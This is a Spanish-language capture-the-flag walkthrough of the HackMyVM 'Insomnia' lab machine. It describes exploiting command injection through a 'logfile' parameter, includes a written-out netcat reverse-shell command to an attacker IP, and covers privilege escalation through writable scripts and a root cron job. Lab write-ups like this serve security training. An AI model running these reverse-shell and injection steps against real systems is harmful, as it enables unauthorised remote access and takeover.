HackMyVM Insomnia — Linux


Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.
Descargamos el archivo de la página https://hackmyvm.eu/machines/
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.
Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear arp-scan
para ver la dirección IP en nuestra red que sería la 192.168.0.146
.
Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.
Empezamos con un escaneo de puertos y podemos ver que solo tenemos el puerto 8080
Realizando un escaneo del puerto identificado y podemos observar lo siguiente.
Ingresamos la dirección IP en el navegador y podemos observar que nos salió un pop up que pide un nickname.
Luego de enviar el nombre podemos ver que sale un chat, pero si ingresamos algún texto no vemos que nos refleje o nos dé alguna manera de saltarlo.
Por ello comenzamos un escaneo de directorios y podemos ver que nos da un error de que devuelve 200 en todos y que la longitud es de 2899.
Agregamos una excepción del parámetro y podemos ver que ahora si tenemos unos cuantos directorios.
Revisando los 3 directorios podemos ver que tenemos en administration.php
vemos que nos sale que no tenemos permisos, para process
solo unos corchetes y en chat
una copia de los comandos que ingresamos en el chat.
Realizaremos un escaneo de parámetros para ver si en administration.php
podemos ejecutar algún comando y vemos que tenemos el parámetro logfile
.
Usando ese parámetro podemos ver que ahora si nos muestra un texto.
Probamos el archivo chat.txt
ahora cambia.
Probamos agregando un ;
para ver si podemos observar que tenemos alguna respuesta adicional. Lo cual no es así, solo nos refleja el texto.
Pero si regresamos al chat podemos ver que ejecuto el comando.
Ya que podemos ejecutar comandos, probaremos ejecutando una revshell. Para ello primero iniciamos nuestro listener.
Probamos enviando una revshell que siempre usamos pero no podemos.
Puesto que no podemos ejecutarlo, emplearemos nc
nc -e /bin/bash 192.168.0.109 1234
enviamos la web shell u la página se quedará cargando.
Regresamos a nuestro listener podemos ver que tenemos conexión.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola. Listando los archivos podemos observar que tenemos la capacidad de ejecutar un archivo como julia
.
Al listar el contenido de la carpeta donde se encuentra el archivo podemos ver que tenemos permisos de edición, lo cual nos permitirá editar el código y escalar privilegios.
Para esta parte solo modificamos de la siguiente manera y luego ejecutamos el script con el usuario julia
, de esta manera escalamos privilegios como este usuario.
Ya como julia realizamos un sudo -l
, pero no podemos acceder porque no tenemos las credenciales y listando la carpeta de usuario tampoco observamos algo útil.
Buscamos permisos SUID y capabilities, pero no tenemos nada.
Revisando las tareas en crontab
vemos que tenemos un ejecutable de root
.
Al dirigirnos a la ubicación y listar el archivo vemos que tenemos permisos de edición.
Ya que nosotros no podemos ejecutar este archivo, haremos que nos genere una revshell cuando se ejecute y por ello iniciamos un listener en nuestra máquina.
Vamos al archivo y lo editamos de la siguiente manera, también pueden eliminar todo el contenido, pero usamos la misma shell solo que cambiamos de puerto.
Luego de esperar unos minutos regresamos al listener y podemos observar que ya tenemos acceso como root
. De esta manera culminando esta máquina.
Subscribe to my newsletter
Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
